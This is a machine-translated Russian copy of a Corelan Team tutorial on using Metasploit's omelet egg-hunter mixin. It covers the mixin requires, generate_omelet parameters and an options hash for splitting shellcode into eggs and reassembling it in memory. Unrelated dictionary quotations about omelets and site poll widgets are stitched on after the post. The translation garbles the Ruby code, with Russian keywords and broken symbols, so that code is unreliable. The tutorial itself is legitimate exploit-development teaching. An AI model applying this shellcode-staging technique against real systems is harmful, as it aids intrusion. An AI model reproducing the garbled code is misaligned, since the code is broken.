 # $ Id: mixins.rb 9984 12.08.2010 16: 56: 41Z jduck $ # # Все примеси эксплойтов должны быть добавлены в список ниже # # Поведение требуется 'msf / core / exploit / brute' требуется 'msf / core / exploit / brutetargets' требуется 'msf / core / exploit / browser_autopwn' # Payload требуется 'msf / core / exploit / egghunter' требуется 'msf / core / exploit / omelet' требуется 'msf / core / exploit / seh' требуется 'msf / core / exploit / kernel_mode' требуется 'msf / core / exploit / exe' 

(Вам не нужно обновлять этот файл самостоятельно.Если вы используете последнюю версию (начиная с r10106), то этот файл уже будет содержать необходимую запись.)

С этого момента вы можете реализовать охотника за яйцами омлета, используя следующий синтаксис:

Включите в свой модуль эксплойтов metasploit новый класс Omelet:

 включает Msf :: Exploit :: Omelet 

Сделать омлет и яйца очень просто:

 омлет = generate_omelet (payload.encoded, 'x00', omeletoptions) 

Функция принимает 3 параметра:

  • закодированная полезная нагрузка (обязательно)
  • badchars (в текущей версии я еще ничего не делаю с плохими символами, поэтому, если вам нужно иметь дело с плохими символами, вам придется самостоятельно кодировать возвращенный омлет, используя Msf :: Util :: EXE.encode_stub (), как объяснялось ранее). Этот параметр является обязательным, но вы можете установить его в пустую строку, если хотите
  • omeletoptions, который представляет собой рубиновый хеш, содержащий следующие параметры:
    • размер яиц (числовое значение, по умолчанию установлено 123, что является максимальным значением)
    • eggtag (3 символа, которые используются как статическая часть тега. По умолчанию "00w")
    • searchforward (логическое значение, истина или ложь). Если установлено значение true (по умолчанию), охотник будет выполнять поиск вперед.Если установлено значение false, охотник будет искать в памяти
    • назад.
    • сбросить (логическое). Значение по умолчанию - false. Если установлено значение true, омлет сбрасывает начальную точку после того, как яйцо будет найдено. Это позволит вам находить яйца, даже если они вышли из строя в памяти
    • startreg (строка). Вы можете использовать этот параметр, чтобы заставить омлет взять адрес в указанном регистре и использовать его в качестве начального местоположения для поиска. Если вы не хотите указывать регистр, не используйте эту опцию и, конечно, не передавайте пустое значение в модуль.
    • контрольная сумма (логическая). Значение по умолчанию - false. Если вы включите эту опцию, контрольная сумма будет создана для каждого яйца и добавлена ​​в конец яйца. Это сделает каждое яйцо на один байт больше. В дополнение к этому, код омлета будет проверять эту контрольную сумму при обнаружении яйца. Это позволит вам найти яйца, которые не повреждены / не усечены (на случай, если это проблема). Понятно, что это увеличит размер охотника на омлет. Код для контрольной суммы был разработан и реализован вместе с dijital1.
    • настроить (число, положительное или отрицательное, значение по умолчанию = 0). Параметр adjust позволит вам настроить место назначения, в которое будет записан рекомбинированный шелл-код. Если ваш код омлета находится ближе к концу стека, вы можете в конечном итоге перезаписать код омлета шелл-кодом, поэтому, используя, например, -500 в параметре настройки, вы можете избежать проблем.

Вы можете настроить хэш параметров следующим образом:

 omeletoptions = { : eggize => 123, : eggtag => «00w», : searchforward => true, : reset => false, : контрольная сумма => ложь, : startreg => "ecx", : adjust => -500 } 

Функция возвращает массив, содержащий 2 элемента:

  • омлет [0] = код омлета
  • омлет [1] = массив, содержащий яйца

Итак, теперь вы можете просто использовать омлет [0] в своей полезной нагрузке и записывать яйца в память, используя простую итерацию:

 омлет [1].каждый делает | thisegg | print_status ("Размер яйца: # {thisegg.length}") конец 

Надеюсь, вам понравился этот короткий пост.

Быстро, но искренне, спасибо

  • Мои друзья из Corelan Team - вы молодцы!
  • jduck и hdm (за ответы на мои вопросы по ruby ​​/ msf - я знаю, ребята, мой ruby ​​fu слабый… спасибо за терпение)
  • кто-нибудь еще я забыл ...


Авторские права защищены Digiprove © 2010 Peter Van Eeckhoutte

© 2010–2015, команда Corelan (corelanc0d3r).Все права защищены.

Похожие сообщения:

.

определение омлета по The Free Dictionary

Пиноккио голоден и ищет яйцо, чтобы приготовить себе омлет; но, к его удивлению, омлет вылетает из окна

Сделать омлет? Нет, лучше на сковороде пожарить!

«Если есть холодная курица, - добавила Эмили, - я обязуюсь за омлетом полить майонез».

У тебя будет товарищ; мы отправим в дом священника мисс Плим - того самого человека, который нарезал петрушку и лук-шалот для моего омлета.О, Эмили, какое у нас будет утро! »Ее прекрасные голубые глаза искрились от радости; она поцеловала Эмили, поцеловать Мирабель, должно быть, было более или менее мужским, чтобы она не желала этого.

Берти ненавидел одну вещь. рис и карри, так что случилось так, что он один съел заманчивый омлет. Он уже закончил свою тарелку, когда Харривелл наложил себе омлет.

«Вот, ты, Ви-ви, как это имя?» - проревел Харривелл, обвиняюще указывая на омлет.

Они принесли в ее комнату чай и омлет и были вынуждены разбудить ее ото сна.И она посоветовала очень осторожно капнуть кофе и приготовить омлет. Что бы вы предпочли: соленый сиг, омлет с желе или бараньи отбивные с подливкой? »В этот момент вошел Базен со шпинатом и омлетом. Когда подали баранину и омлет, принесли самовар и водку с вином, которое французы взяли из русского погреба и принесли с собой, Рамбаль пригласил Пьера разделить свой обед, а сам стал есть жадно и быстро, как здоровый и голодный мужчина, быстро жевавший еду сильными зубами, постоянно причмокивая и повторяя: «Отлично! Жюль пообещал мне новый омлет, при условии, что мы сядем ровно в половине второго..

Смотрите также

Голосование

Оцените наш сайт

  •   
  •   
  •